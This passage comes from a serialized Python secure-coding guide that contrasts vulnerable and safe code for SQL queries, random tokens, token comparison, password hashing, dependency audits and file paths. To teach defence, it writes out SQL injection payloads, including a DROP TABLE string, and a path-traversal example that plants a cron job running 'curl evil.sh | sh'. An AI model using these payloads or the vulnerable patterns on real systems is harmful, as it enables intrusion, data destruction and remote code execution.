b)\n",[1172,1393,1394,520,1398,1194,1400,1402,1403,1406,1407,526,1410,1413,1414,1416],{},[1395,1396,1397],"strong",{},"Best practice",[18,1399,1103],{},[18,1401,1107],{}," should never appear in code that processes any input originating from a user, a network request, a config file editable by a lower-trust actor, or anything resembling untrusted data. ",[18,1404,1405],{},"ast.literal_eval"," covers the \"parse a Python-literal string safely\" use case; a purpose-built parser (or a library like ",[18,1408,1409],{},"asteval",[18,1411,1412],{},"simpleeval",", or a proper expression-grammar parser) covers \"evaluate a restricted expression language\" — neither requires the interpreter's full, unrestricted ",[18,1415,1103],{},".",[14,1418,1420],{"id":1419},"sql-injection-string-formatting-vs-parameterized-queries","SQL Injection: String Formatting vs Parameterized Queries",[23,1422,1423],{"language":25},[27,1424,1426],{"className":29,"code":1425,"language":25,"meta":31,"style":31},"import sqlite3\n\nconn = sqlite3.connect(\"app.db\")\ncursor = conn.cursor()\n\n# WRONG — building SQL via string formatting\u002Fconcatenation\ndef get_user_wrong(username):\n    query = f\"SELECT * FROM users WHERE username = '{username}'\"\n    return cursor.execute(query).fetchone()\n\n# an attacker-supplied username of:  ' OR '1'='1\n# produces:  SELECT * FROM users WHERE username = '' OR '1'='1'\n# which matches EVERY ROW in the table, bypassing the intended filter entirely\nget_user_wrong(\"' OR '1'='1\")\n\n# a more destructive payload:  '; DROP TABLE users; --\n# produces a second, attacker-controlled STATEMENT appended to the original query\n",[18,1427,1428,1435,1439,1454,1464,1468,1473,1483,1506,1513,1517,1522,1527,1532,1542,1546,1551],{"__ignoreMap":31},[35,1429,1430,1432],{"class":37,"line":38},[35,1431,68],{"class":67},[35,1433,1434],{"class":71}," sqlite3\n",[35,1436,1437],{"class":37,"line":45},[35,1438,61],{"emptyLinePlaceholder":60},[35,1440,1441,1444,1446,1449,1452],{"class":37,"line":51},[35,1442,1443],{"class":71},"conn ",[35,1445,159],{"class":67},[35,1447,1448],{"class":71}," sqlite3.connect(",[35,1450,1451],{"class":104},"\"app.db\"",[35,1453,414],{"class":71},[35,1455,1456,1459,1461],{"class":37,"line":57},[35,1457,1458],{"class":71},"cursor ",[35,1460,159],{"class":67},[35,1462,1463],{"class":71}," conn.cursor()\n",[35,1465,1466],{"class":37,"line":64},[35,1467,61],{"emptyLinePlaceholder":60},[35,1469,1470],{"class":37,"line":75},[35,1471,1472],{"class":41},"# WRONG — building SQL via string formatting\u002Fconcatenation\n",[35,1474,1475,1477,1480],{"class":37,"line":83},[35,1476,288],{"class":67},[35,1478,1479],{"class":94}," get_user_wrong",[35,1481,1482],{"class":71},"(username):\n",[35,1484,1485,1488,1490,1493,1496,1498,1501,1503],{"class":37,"line":88},[35,1486,1487],{"class":71},"    query ",[35,1489,159],{"class":67},[35,1491,1492],{"class":67}," f",[35,1494,1495],{"class":104},"\"SELECT * FROM users WHERE username = '",[35,1497,180],{"class":114},[35,1499,1500],{"class":71},"username",[35,1502,192],{"class":114},[35,1504,1505],{"class":104},"'\"\n",[35,1507,1508,1510],{"class":37,"line":101},[35,1509,338],{"class":67},[35,1511,1512],{"class":71}," cursor.execute(query).fetchone()\n",[35,1514,1515],{"class":37,"line":108},[35,1516,61],{"emptyLinePlaceholder":60},[35,1518,1519],{"class":37,"line":121},[35,1520,1521],{"class":41},"# an attacker-supplied username of:  ' OR '1'='1\n",[35,1523,1524],{"class":37,"line":127},[35,1525,1526],{"class":41},"# produces:  SELECT * FROM users WHERE username = '' OR '1'='1'\n",[35,1528,1529],{"class":37,"line":142},[35,1530,1531],{"class":41},"# which matches EVERY ROW in the table, bypassing the intended filter entirely\n",[35,1533,1534,1537,1540],{"class":37,"line":147},[35,1535,1536],{"class":71},"get_user_wrong(",[35,1538,1539],{"class":104},"\"' OR '1'='1\"",[35,1541,414],{"class":71},[35,1543,1544],{"class":37,"line":153},[35,1545,61],{"emptyLinePlaceholder":60},[35,1547,1548],{"class":37,"line":165},[35,1549,1550],{"class":41},"# a more destructive payload:  '; DROP TABLE users; --\n",[35,1552,1553],{"class":37,"line":204},[35,1554,1555],{"class":41},"# produces a second, attacker-controlled STATEMENT appended to the original query\n",[23,1557,1558],{"language":25},[27,1559,1561],{"className":29,"code":1560,"language":25,"meta":31,"style":31},"# RIGHT — parameterized query: the driver sends the SQL and the data SEPARATELY,\n# so user input can never be interpreted as SQL syntax, no matter what it contains\ndef get_user_correct(username):\n    query = \"SELECT * FROM users WHERE username = ?\"\n    return cursor.execute(query, (username,)).fetchone()\n\nget_user_correct(\"' OR '1'='1\")   # safely matches ZERO rows — treated as a literal, oddly-named username\n",[18,1562,1563,1568,1573,1582,1591,1598,1602],{"__ignoreMap":31},[35,1564,1565],{"class":37,"line":38},[35,1566,1567],{"class":41},"# RIGHT — parameterized query: the driver sends the SQL and the data SEPARATELY,\n",[35,1569,1570],{"class":37,"line":45},[35,1571,1572],{"class":41},"# so user input can never be interpreted as SQL syntax, no matter what it contains\n",[35,1574,1575,1577,1580],{"class":37,"line":51},[35,1576,288],{"class":67},[35,1578,1579],{"class":94}," get_user_correct",[35,1581,1482],{"class":71},[35,1583,1584,1586,1588],{"class":37,"line":57},[35,1585,1487],{"class":71},[35,1587,159],{"class":67},[35,1589,1590],{"class":104}," \"SELECT * FROM users WHERE username = ?\"\n",[35,1592,1593,1595],{"class":37,"line":64},[35,1594,338],{"class":67},[35,1596,1597],{"class":71}," cursor.execute(query, (username,)).fetchone()\n",[35,1599,1600],{"class":37,"line":75},[35,1601,61],{"emptyLinePlaceholder":60},[35,1603,1604,1607,1609,1611],{"class":37,"line":83},[35,1605,1606],{"class":71},"get_user_correct(",[35,1608,1539],{"class":104},[35,1610,198],{"class":71},[35,1612,1613],{"class":41},"# safely matches ZERO rows — treated as a literal, oddly-named username\n",[1172,1615,1616,1617,1620,1621,526,1624,1627,1628,1631,1632],{},"String-formatting a value directly into a SQL query means the database cannot distinguish \"data the query is filtering by\" from \"syntax that changes what the query does\" — any quote character in attacker-controlled input can terminate the intended string literal early and inject new SQL. A parameterized query (",[18,1618,1619],{},"?"," placeholders in ",[18,1622,1623],{},"sqlite3",[18,1625,1626],{},"%s"," in ",[18,1629,1630],{},"psycopg2",", named placeholders in most ORMs) sends the query template and the values as two separate pieces to the database driver, which substitutes values as literal data at the protocol level — no string ever gets reinterpreted as SQL syntax, regardless of its content. ",[1395,1633,1634],{},"This is not a \"best practice, when convenient\" recommendation — it is the only correct way to build a SQL query containing any external input, full stop.",[23,1636,1637],{"language":25},[27,1638,1640],{"className":29,"code":1639,"language":25,"meta":31,"style":31},"# WRONG — an ORM does not automatically protect against injection if raw SQL fragments are used\nfrom sqlalchemy import text\n\ndef search_wrong(engine, column_name, value):\n    query = text(f\"SELECT * FROM products WHERE {column_name} = :value\")   # column_name is INTERPOLATED\n    return engine.execute(query, {\"value\": value})   # value is parameterized, but column_name is NOT\n\n# RIGHT — validate identifiers (column\u002Ftable names) against a strict allowlist,\n# since placeholders can only parameterize VALUES, never identifiers like column\u002Ftable names\n_ALLOWED_COLUMNS = {\"name\", \"price\", \"category\"}\n\ndef search_correct(engine, column_name, value):\n    if column_name not in _ALLOWED_COLUMNS:\n        raise ValueError(f\"invalid column: {column_name}\")\n    query = text(f\"SELECT * FROM products WHERE {column_name} = :value\")\n    return engine.execute(query, {\"value\": value})\n",[18,1641,1642,1647,1660,1664,1674,1703,1719,1723,1728,1733,1758,1762,1771,1787,1810,1832],{"__ignoreMap":31},[35,1643,1644],{"class":37,"line":38},[35,1645,1646],{"class":41},"# WRONG — an ORM does not automatically protect against injection if raw SQL fragments are used\n",[35,1648,1649,1652,1655,1657],{"class":37,"line":45},[35,1650,1651],{"class":67},"from",[35,1653,1654],{"class":71}," sqlalchemy ",[35,1656,68],{"class":67},[35,1658,1659],{"class":71}," text\n",[35,1661,1662],{"class":37,"line":51},[35,1663,61],{"emptyLinePlaceholder":60},[35,1665,1666,1668,1671],{"class":37,"line":57},[35,1667,288],{"class":67},[35,1669,1670],{"class":94}," search_wrong",[35,1672,1673],{"class":71},"(engine, column_name, value):\n",[35,1675,1676,1678,1680,1683,1685,1688,1690,1693,1695,1698,1700],{"class":37,"line":64},[35,1677,1487],{"class":71},[35,1679,159],{"class":67},[35,1681,1682],{"class":71}," text(",[35,1684,174],{"class":67},[35,1686,1687],{"class":104},"\"SELECT * FROM products WHERE ",[35,1689,180],{"class":114},[35,1691,1692],{"class":71},"column_name",[35,1694,192],{"class":114},[35,1696,1697],{"class":104}," = :value\"",[35,1699,198],{"class":71},[35,1701,1702],{"class":41},"# column_name is INTERPOLATED\n",[35,1704,1705,1707,1710,1713,1716],{"class":37,"line":75},[35,1706,338],{"class":67},[35,1708,1709],{"class":71}," engine.execute(query, {",[35,1711,1712],{"class":104},"\"value\"",[35,1714,1715],{"class":71},": value})   ",[35,1717,1718],{"class":41},"# value is parameterized, but column_name is NOT\n",[35,1720,1721],{"class":37,"line":83},[35,1722,61],{"emptyLinePlaceholder":60},[35,1724,1725],{"class":37,"line":88},[35,1726,1727],{"class":41},"# RIGHT — validate identifiers (column\u002Ftable names) against a strict allowlist,\n",[35,1729,1730],{"class":37,"line":101},[35,1731,1732],{"class":41},"# since placeholders can only parameterize VALUES, never identifiers like column\u002Ftable names\n",[35,1734,1735,1738,1740,1742,1745,1747,1750,1752,1755],{"class":37,"line":108},[35,1736,1737],{"class":114},"_ALLOWED_COLUMNS",[35,1739,271],{"class":67},[35,1741,1302],{"class":71},[35,1743,1744],{"class":104},"\"name\"",[35,1746,526],{"class":71},[35,1748,1749],{"class":104},"\"price\"",[35,1751,526],{"class":71},[35,1753,1754],{"class":104},"\"category\"",[35,1756,1757],{"class":71},"}\n",[35,1759,1760],{"class":37,"line":121},[35,1761,61],{"emptyLinePlaceholder":60},[35,1763,1764,1766,1769],{"class":37,"line":127},[35,1765,288],{"class":67},[35,1767,1768],{"class":94}," search_correct",[35,1770,1673],{"class":71},[35,1772,1773,1775,1778,1780,1782,1785],{"class":37,"line":142},[35,1774,383],{"class":67},[35,1776,1777],{"class":71}," column_name ",[35,1779,1350],{"class":67},[35,1781,1353],{"class":67},[35,1783,1784],{"class":114}," _ALLOWED_COLUMNS",[35,1786,98],{"class":71},[35,1788,1789,1791,1793,1795,1797,1800,1802,1804,1806,1808],{"class":37,"line":147},[35,1790,403],{"class":67},[35,1792,406],{"class":114},[35,1794,171],{"class":71},[35,1796,174],{"class":67},[35,1798,1799],{"class":104},"\"invalid column: ",[35,1801,180],{"class":114},[35,1803,1692],{"class":71},[35,1805,192],{"class":114},[35,1807,559],{"class":104},[35,1809,414],{"class":71},[35,1811,1812,1814,1816,1818,1820,1822,1824,1826,1828,1830],{"class":37,"line":153},[35,1813,1487],{"class":71},[35,1815,159],{"class":67},[35,1817,1682],{"class":71},[35,1819,174],{"class":67},[35,1821,1687],{"class":104},[35,1823,180],{"class":114},[35,1825,1692],{"class":71},[35,1827,192],{"class":114},[35,1829,1697],{"class":104},[35,1831,414],{"class":71},[35,1833,1834,1836,1838,1840],{"class":37,"line":165},[35,1835,338],{"class":67},[35,1837,1709],{"class":71},[35,1839,1712],{"class":104},[35,1841,1842],{"class":71},": value})\n",[1172,1844,1845,1848,1849,1853,1854,1857,1858,1861],{},[1395,1846,1847],{},"Critical distinction",": parameterized queries protect ",[1850,1851,1852],"em",{},"values",", not ",[1850,1855,1856],{},"identifiers"," — a column name, table name, or ",[18,1859,1860],{},"ORDER BY"," direction can never be passed as a bind parameter (SQL syntax doesn't allow it), so any query that needs a dynamic identifier must validate it against a strict allowlist of known-safe names before interpolating it into the query string.",[14,1863,1865,1866,1869],{"id":1864},"the-secrets-module-cryptographically-secure-randomness","The ",[18,1867,1868],{},"secrets"," Module: Cryptographically Secure Randomness",[23,1871,1872],{"language":25},[27,1873,1875],{"className":29,"code":1874,"language":25,"meta":31,"style":31},"import random\nimport secrets\n\n# WRONG — random.random()\u002Frandom.randint() use a Mersenne Twister PRNG,\n# which is fast and great for simulations\u002Fgames, but its output is PREDICTABLE\n# if an attacker observes enough outputs — never use it for security-sensitive values\nweak_token = \"\".join(random.choices(\"abcdefghijklmnopqrstuvwxyz0123456789\", k=32))\n\n# RIGHT — secrets uses the OS's cryptographically secure random source\nstrong_token = secrets.token_urlsafe(32)      # URL-safe, base64-based token\nstrong_hex = secrets.token_hex(32)              # hex-encoded token\napi_key = secrets.token_bytes(32)                 # raw bytes, when a specific encoding isn't needed\n",[18,1876,1877,1884,1890,1894,1899,1904,1909,1937,1941,1946,1963,1981],{"__ignoreMap":31},[35,1878,1879,1881],{"class":37,"line":38},[35,1880,68],{"class":67},[35,1882,1883],{"class":71}," random\n",[35,1885,1886,1888],{"class":37,"line":45},[35,1887,68],{"class":67},[35,1889,701],{"class":71},[35,1891,1892],{"class":37,"line":51},[35,1893,61],{"emptyLinePlaceholder":60},[35,1895,1896],{"class":37,"line":57},[35,1897,1898],{"class":41},"# WRONG — random.random()\u002Frandom.randint() use a Mersenne Twister PRNG,\n",[35,1900,1901],{"class":37,"line":64},[35,1902,1903],{"class":41},"# which is fast and great for simulations\u002Fgames, but its output is PREDICTABLE\n",[35,1905,1906],{"class":37,"line":75},[35,1907,1908],{"class":41},"# if an attacker observes enough outputs — never use it for security-sensitive values\n",[35,1910,1911,1914,1916,1919,1922,1925,1927,1930,1932,1934],{"class":37,"line":83},[35,1912,1913],{"class":71},"weak_token ",[35,1915,159],{"class":67},[35,1917,1918],{"class":104}," \"\"",[35,1920,1921],{"class":71},".join(random.choices(",[35,1923,1924],{"class":104},"\"abcdefghijklmnopqrstuvwxyz0123456789\"",[35,1926,526],{"class":71},[35,1928,1929],{"class":1013},"k",[35,1931,159],{"class":67},[35,1933,428],{"class":114},[35,1935,1936],{"class":71},"))\n",[35,1938,1939],{"class":37,"line":88},[35,1940,61],{"emptyLinePlaceholder":60},[35,1942,1943],{"class":37,"line":101},[35,1944,1945],{"class":41},"# RIGHT — secrets uses the OS's cryptographically secure random source\n",[35,1947,1948,1951,1953,1955,1957,1960],{"class":37,"line":108},[35,1949,1950],{"class":71},"strong_token ",[35,1952,159],{"class":67},[35,1954,722],{"class":71},[35,1956,428],{"class":114},[35,1958,1959],{"class":71},")      ",[35,1961,1962],{"class":41},"# URL-safe, base64-based token\n",[35,1964,1965,1968,1970,1973,1975,1978],{"class":37,"line":121},[35,1966,1967],{"class":71},"strong_hex ",[35,1969,159],{"class":67},[35,1971,1972],{"class":71}," secrets.token_hex(",[35,1974,428],{"class":114},[35,1976,1977],{"class":71},")              ",[35,1979,1980],{"class":41},"# hex-encoded token\n",[35,1982,1983,1986,1988,1991,1993,1996],{"class":37,"line":127},[35,1984,1985],{"class":71},"api_key ",[35,1987,159],{"class":67},[35,1989,1990],{"class":71}," secrets.token_bytes(",[35,1992,428],{"class":114},[35,1994,1995],{"class":71},")                 ",[35,1997,1998],{"class":41},"# raw bytes, when a specific encoding isn't needed\n",[1172,2000,2001,2004,2005,2008,2009,2011,2012,2015,2016,2018,2019,2021,2022,2024],{},[18,2002,2003],{},"random","'s default generator (Mersenne Twister) is deterministic and, given enough observed outputs, its internal state — and therefore all future outputs — can be reconstructed by an attacker; it was never designed to resist this kind of analysis, only to have good ",[1850,2006,2007],{},"statistical"," randomness for simulations. ",[18,2010,1868],{}," draws from the operating system's CSPRNG (",[18,2013,2014],{},"os.urandom"," under the hood), specifically designed to be unpredictable even to an attacker who can observe many outputs. ",[1395,2017,1397],{},": any token used for a security purpose — session IDs, password-reset tokens, API keys, CSRF tokens — must use ",[18,2020,1868],{},", never ",[18,2023,2003],{},", with zero exceptions.",[23,2026,2027],{"language":25},[27,2028,2030],{"className":29,"code":2029,"language":25,"meta":31,"style":31},"import secrets\n\n# WRONG — comparing secrets with == is vulnerable to a TIMING ATTACK:\n# Python's == on strings short-circuits at the FIRST mismatched character,\n# so comparison time leaks how many leading characters were correct\ndef check_token_wrong(provided, expected):\n    return provided == expected\n\n# RIGHT — constant-time comparison, takes the same time regardless of WHERE strings differ\ndef check_token_correct(provided, expected):\n    return secrets.compare_digest(provided, expected)\n",[18,2031,2032,2038,2042,2047,2052,2057,2067,2078,2082,2087,2096],{"__ignoreMap":31},[35,2033,2034,2036],{"class":37,"line":38},[35,2035,68],{"class":67},[35,2037,701],{"class":71},[35,2039,2040],{"class":37,"line":45},[35,2041,61],{"emptyLinePlaceholder":60},[35,2043,2044],{"class":37,"line":51},[35,2045,2046],{"class":41},"# WRONG — comparing secrets with == is vulnerable to a TIMING ATTACK:\n",[35,2048,2049],{"class":37,"line":57},[35,2050,2051],{"class":41},"# Python's == on strings short-circuits at the FIRST mismatched character,\n",[35,2053,2054],{"class":37,"line":64},[35,2055,2056],{"class":41},"# so comparison time leaks how many leading characters were correct\n",[35,2058,2059,2061,2064],{"class":37,"line":75},[35,2060,288],{"class":67},[35,2062,2063],{"class":94}," check_token_wrong",[35,2065,2066],{"class":71},"(provided, expected):\n",[35,2068,2069,2071,2073,2075],{"class":37,"line":83},[35,2070,338],{"class":67},[35,2072,771],{"class":71},[35,2074,774],{"class":67},[35,2076,2077],{"class":71}," expected\n",[35,2079,2080],{"class":37,"line":88},[35,2081,61],{"emptyLinePlaceholder":60},[35,2083,2084],{"class":37,"line":101},[35,2085,2086],{"class":41},"# RIGHT — constant-time comparison, takes the same time regardless of WHERE strings differ\n",[35,2088,2089,2091,2094],{"class":37,"line":108},[35,2090,288],{"class":67},[35,2092,2093],{"class":94}," check_token_correct",[35,2095,2066],{"class":71},[35,2097,2098,2100],{"class":37,"line":121},[35,2099,338],{"class":67},[35,2101,2102],{"class":71}," secrets.compare_digest(provided, expected)\n",[1172,2104,2105,2106,2108,2109,2112],{},"A naive ",[18,2107,774],{}," string comparison returns as soon as it finds a mismatched character, so measuring response time across many attempts can reveal, one character at a time, how many leading characters of a guessed token were correct — a real, exploitable attack against network-facing comparisons (not just a theoretical concern). ",[18,2110,2111],{},"secrets.compare_digest"," always compares the full length of both inputs in constant time, leaking no timing information regardless of where (or whether) the strings differ.",[14,2114,2116],{"id":2115},"password-hashing-never-store-plaintext-never-use-fast-hashes","Password Hashing: Never Store Plaintext, Never Use Fast Hashes",[23,2118,2119],{"language":25},[27,2120,2122],{"className":29,"code":2121,"language":25,"meta":31,"style":31},"import hashlib\n\n# WRONG — MD5\u002FSHA-256 are FAST hashes, designed for speed — the opposite of what password\n# storage needs; fast hashes let an attacker with a stolen database try billions of\n# guesses per second on commodity GPU hardware\ndef hash_password_wrong(password):\n    return hashlib.sha256(password.encode()).hexdigest()\n\n# RIGHT — a purpose-built password hash: slow by design, with built-in salting\nimport bcrypt\n\ndef hash_password_correct(password):\n    return bcrypt.hashpw(password.encode(), bcrypt.gensalt())\n\ndef verify_password(password, hashed):\n    return bcrypt.checkpw(password.encode(), hashed)\n",[18,2123,2124,2130,2134,2139,2144,2149,2159,2166,2170,2175,2182,2186,2195,2202,2206,2216],{"__ignoreMap":31},[35,2125,2126,2128],{"class":37,"line":38},[35,2127,68],{"class":67},[35,2129,257],{"class":71},[35,2131,2132],{"class":37,"line":45},[35,2133,61],{"emptyLinePlaceholder":60},[35,2135,2136],{"class":37,"line":51},[35,2137,2138],{"class":41},"# WRONG — MD5\u002FSHA-256 are FAST hashes, designed for speed — the opposite of what password\n",[35,2140,2141],{"class":37,"line":57},[35,2142,2143],{"class":41},"# storage needs; fast hashes let an attacker with a stolen database try billions of\n",[35,2145,2146],{"class":37,"line":64},[35,2147,2148],{"class":41},"# guesses per second on commodity GPU hardware\n",[35,2150,2151,2153,2156],{"class":37,"line":75},[35,2152,288],{"class":67},[35,2154,2155],{"class":94}," hash_password_wrong",[35,2157,2158],{"class":71},"(password):\n",[35,2160,2161,2163],{"class":37,"line":83},[35,2162,338],{"class":67},[35,2164,2165],{"class":71}," hashlib.sha256(password.encode()).hexdigest()\n",[35,2167,2168],{"class":37,"line":88},[35,2169,61],{"emptyLinePlaceholder":60},[35,2171,2172],{"class":37,"line":101},[35,2173,2174],{"class":41},"# RIGHT — a purpose-built password hash: slow by design, with built-in salting\n",[35,2176,2177,2179],{"class":37,"line":108},[35,2178,68],{"class":67},[35,2180,2181],{"class":71}," bcrypt\n",[35,2183,2184],{"class":37,"line":121},[35,2185,61],{"emptyLinePlaceholder":60},[35,2187,2188,2190,2193],{"class":37,"line":127},[35,2189,288],{"class":67},[35,2191,2192],{"class":94}," hash_password_correct",[35,2194,2158],{"class":71},[35,2196,2197,2199],{"class":37,"line":142},[35,2198,338],{"class":67},[35,2200,2201],{"class":71}," bcrypt.hashpw(password.encode(), bcrypt.gensalt())\n",[35,2203,2204],{"class":37,"line":147},[35,2205,61],{"emptyLinePlaceholder":60},[35,2207,2208,2210,2213],{"class":37,"line":153},[35,2209,288],{"class":67},[35,2211,2212],{"class":94}," verify_password",[35,2214,2215],{"class":71},"(password, hashed):\n",[35,2217,2218,2220],{"class":37,"line":165},[35,2219,338],{"class":67},[35,2221,2222],{"class":71}," bcrypt.checkpw(password.encode(), hashed)\n",[1172,2224,2225,2226,526,2229,2232,2233,2236,2237,2240,2241,526,2244,2247,2248,2250,2251,526,2253,2256],{},"General-purpose cryptographic hashes (",[18,2227,2228],{},"SHA-256",[18,2230,2231],{},"MD5",") are engineered to be ",[1850,2234,2235],{},"fast",", which is exactly the wrong property for password storage — an attacker who steals a database of SHA-256 password hashes can attempt billions of candidate passwords per second against them using ordinary GPU hardware. ",[18,2238,2239],{},"bcrypt"," (and ",[18,2242,2243],{},"argon2",[18,2245,2246],{},"scrypt",") are deliberately slow, tunable, and include automatic per-password salting, making brute-force and rainbow-table attacks computationally infeasible at scale even after a full database breach. ",[1395,2249,1397],{},": never write custom password-hashing code; use a maintained, purpose-built library (",[18,2252,2239],{},[18,2254,2255],{},"argon2-cffi",", or Django's\u002FFlask's built-in password hashers) — this is one of the few areas of programming where \"don't roll your own\" is close to an absolute rule.",[14,2258,2260],{"id":2259},"dependency-vulnerabilities","Dependency Vulnerabilities",[23,2262,2264],{"language":2263},"bash",[27,2265,2268],{"className":2266,"code":2267,"language":2263,"meta":31,"style":31},"language-bash shiki shiki-themes github-light github-dark","pip install pip-audit\npip-audit\n# Found 2 known vulnerabilities in 1 package\n# Name     Version ID                  Fix Versions\n# -------- ------- ------------------- ------------\n# requests 2.6.0   PYSEC-2018-28       2.20.0\n\nuv pip audit                    # uv has a built-in equivalent\n",[18,2269,2270,2281,2286,2291,2296,2301,2306,2310],{"__ignoreMap":31},[35,2271,2272,2275,2278],{"class":37,"line":38},[35,2273,2274],{"class":94},"pip",[35,2276,2277],{"class":104}," install",[35,2279,2280],{"class":104}," pip-audit\n",[35,2282,2283],{"class":37,"line":45},[35,2284,2285],{"class":94},"pip-audit\n",[35,2287,2288],{"class":37,"line":51},[35,2289,2290],{"class":41},"# Found 2 known vulnerabilities in 1 package\n",[35,2292,2293],{"class":37,"line":57},[35,2294,2295],{"class":41},"# Name     Version ID                  Fix Versions\n",[35,2297,2298],{"class":37,"line":64},[35,2299,2300],{"class":41},"# -------- ------- ------------------- ------------\n",[35,2302,2303],{"class":37,"line":75},[35,2304,2305],{"class":41},"# requests 2.6.0   PYSEC-2018-28       2.20.0\n",[35,2307,2308],{"class":37,"line":83},[35,2309,61],{"emptyLinePlaceholder":60},[35,2311,2312,2315,2318,2321],{"class":37,"line":88},[35,2313,2314],{"class":94},"uv",[35,2316,2317],{"class":104}," pip",[35,2319,2320],{"class":104}," audit",[35,2322,2323],{"class":41},"                    # uv has a built-in equivalent\n",[1172,2325,2326,2327,2330,2331,2333],{},"Every third-party dependency is code the application trusts to run with its own privileges — a vulnerability in a deeply nested transitive dependency (one the application's authors may not even know is installed) is exactly as exploitable as a vulnerability in code the team wrote itself. ",[18,2328,2329],{},"pip-audit"," (backed by the Python Packaging Advisory Database and OSV) cross-references installed package versions against known CVEs. ",[1395,2332,1397],{},": run a dependency audit in CI on every build, not just periodically by hand — a dependency that was safe when first installed can become vulnerable the day a new CVE is published against it, with no code change on the project's own side.",[23,2335,2337],{"language":2336},"yaml",[27,2338,2341],{"className":2339,"code":2340,"language":2336,"meta":31,"style":31},"language-yaml shiki shiki-themes github-light github-dark","# .github\u002Fworkflows\u002Fsecurity.yml — run dependency audits automatically on every push\nname: security\non: [push, pull_request]\njobs:\n  audit:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - uses: actions\u002Fsetup-python@v5\n        with:\n          python-version: \"3.12\"\n      - run: pip install pip-audit\n      - run: pip-audit\n",[18,2342,2343,2348,2359,2377,2384,2391,2401,2408,2421,2432,2439,2449,2461],{"__ignoreMap":31},[35,2344,2345],{"class":37,"line":38},[35,2346,2347],{"class":41},"# .github\u002Fworkflows\u002Fsecurity.yml — run dependency audits automatically on every push\n",[35,2349,2350,2354,2356],{"class":37,"line":45},[35,2351,2353],{"class":2352},"sk71V","name",[35,2355,520],{"class":71},[35,2357,2358],{"class":104},"security\n",[35,2360,2361,2364,2367,2370,2372,2375],{"class":37,"line":51},[35,2362,2363],{"class":114},"on",[35,2365,2366],{"class":71},": [",[35,2368,2369],{"class":104},"push",[35,2371,526],{"class":71},[35,2373,2374],{"class":104},"pull_request",[35,2376,997],{"class":71},[35,2378,2379,2382],{"class":37,"line":57},[35,2380,2381],{"class":2352},"jobs",[35,2383,98],{"class":71},[35,2385,2386,2389],{"class":37,"line":64},[35,2387,2388],{"class":2352},"  audit",[35,2390,98],{"class":71},[35,2392,2393,2396,2398],{"class":37,"line":75},[35,2394,2395],{"class":2352},"    runs-on",[35,2397,520],{"class":71},[35,2399,2400],{"class":104},"ubuntu-latest\n",[35,2402,2403,2406],{"class":37,"line":83},[35,2404,2405],{"class":2352},"    steps",[35,2407,98],{"class":71},[35,2409,2410,2413,2416,2418],{"class":37,"line":88},[35,2411,2412],{"class":71},"      - ",[35,2414,2415],{"class":2352},"uses",[35,2417,520],{"class":71},[35,2419,2420],{"class":104},"actions\u002Fcheckout@v4\n",[35,2422,2423,2425,2427,2429],{"class":37,"line":101},[35,2424,2412],{"class":71},[35,2426,2415],{"class":2352},[35,2428,520],{"class":71},[35,2430,2431],{"class":104},"actions\u002Fsetup-python@v5\n",[35,2433,2434,2437],{"class":37,"line":108},[35,2435,2436],{"class":2352},"        with",[35,2438,98],{"class":71},[35,2440,2441,2444,2446],{"class":37,"line":121},[35,2442,2443],{"class":2352},"          python-version",[35,2445,520],{"class":71},[35,2447,2448],{"class":104},"\"3.12\"\n",[35,2450,2451,2453,2456,2458],{"class":37,"line":127},[35,2452,2412],{"class":71},[35,2454,2455],{"class":2352},"run",[35,2457,520],{"class":71},[35,2459,2460],{"class":104},"pip install pip-audit\n",[35,2462,2463,2465,2467,2469],{"class":37,"line":142},[35,2464,2412],{"class":71},[35,2466,2455],{"class":2352},[35,2468,520],{"class":71},[35,2470,2285],{"class":104},[14,2472,2474],{"id":2473},"path-traversal-and-untrusted-file-paths","Path Traversal and Untrusted File Paths",[23,2476,2477],{"language":25},[27,2478,2480],{"className":29,"code":2479,"language":25,"meta":31,"style":31},"import os\nfrom pathlib import Path\n\nUPLOAD_DIR = Path(\"\u002Fvar\u002Fapp\u002Fuploads\")\n\n# WRONG — naively joining user input into a path\ndef save_upload_wrong(filename, content):\n    path = UPLOAD_DIR \u002F filename\n    path.write_bytes(content)\n\n# an attacker-supplied filename of \"..\u002F..\u002Fetc\u002Fcron.d\u002Fmalicious\" ESCAPES the upload directory entirely\nsave_upload_wrong(\"..\u002F..\u002Fetc\u002Fcron.d\u002Fmalicious\", b\"* * * * * root curl evil.sh | sh\")\n\n# RIGHT — resolve the final path and verify it's still WITHIN the intended directory\ndef save_upload_correct(filename, content):\n    candidate = (UPLOAD_DIR \u002F filename).resolve()\n    if not candidate.is_relative_to(UPLOAD_DIR.resolve()):\n        raise ValueError(\"path traversal attempt detected\")\n    candidate.write_bytes(content)\n",[18,2481,2482,2488,2500,2504,2519,2523,2528,2538,2554,2559,2563,2568,2586,2590,2595,2604,2620,2634,2647],{"__ignoreMap":31},[35,2483,2484,2486],{"class":37,"line":38},[35,2485,68],{"class":67},[35,2487,80],{"class":71},[35,2489,2490,2492,2495,2497],{"class":37,"line":45},[35,2491,1651],{"class":67},[35,2493,2494],{"class":71}," pathlib ",[35,2496,68],{"class":67},[35,2498,2499],{"class":71}," Path\n",[35,2501,2502],{"class":37,"line":51},[35,2503,61],{"emptyLinePlaceholder":60},[35,2505,2506,2509,2511,2514,2517],{"class":37,"line":57},[35,2507,2508],{"class":114},"UPLOAD_DIR",[35,2510,271],{"class":67},[35,2512,2513],{"class":71}," Path(",[35,2515,2516],{"class":104},"\"\u002Fvar\u002Fapp\u002Fuploads\"",[35,2518,414],{"class":71},[35,2520,2521],{"class":37,"line":64},[35,2522,61],{"emptyLinePlaceholder":60},[35,2524,2525],{"class":37,"line":75},[35,2526,2527],{"class":41},"# WRONG — naively joining user input into a path\n",[35,2529,2530,2532,2535],{"class":37,"line":83},[35,2531,288],{"class":67},[35,2533,2534],{"class":94}," save_upload_wrong",[35,2536,2537],{"class":71},"(filename, content):\n",[35,2539,2540,2543,2545,2548,2551],{"class":37,"line":88},[35,2541,2542],{"class":71},"    path ",[35,2544,159],{"class":67},[35,2546,2547],{"class":114}," UPLOAD_DIR",[35,2549,2550],{"class":67}," \u002F",[35,2552,2553],{"class":71}," filename\n",[35,2555,2556],{"class":37,"line":101},[35,2557,2558],{"class":71},"    path.write_bytes(content)\n",[35,2560,2561],{"class":37,"line":108},[35,2562,61],{"emptyLinePlaceholder":60},[35,2564,2565],{"class":37,"line":121},[35,2566,2567],{"class":41},"# an attacker-supplied filename of \"..\u002F..\u002Fetc\u002Fcron.d\u002Fmalicious\" ESCAPES the upload directory 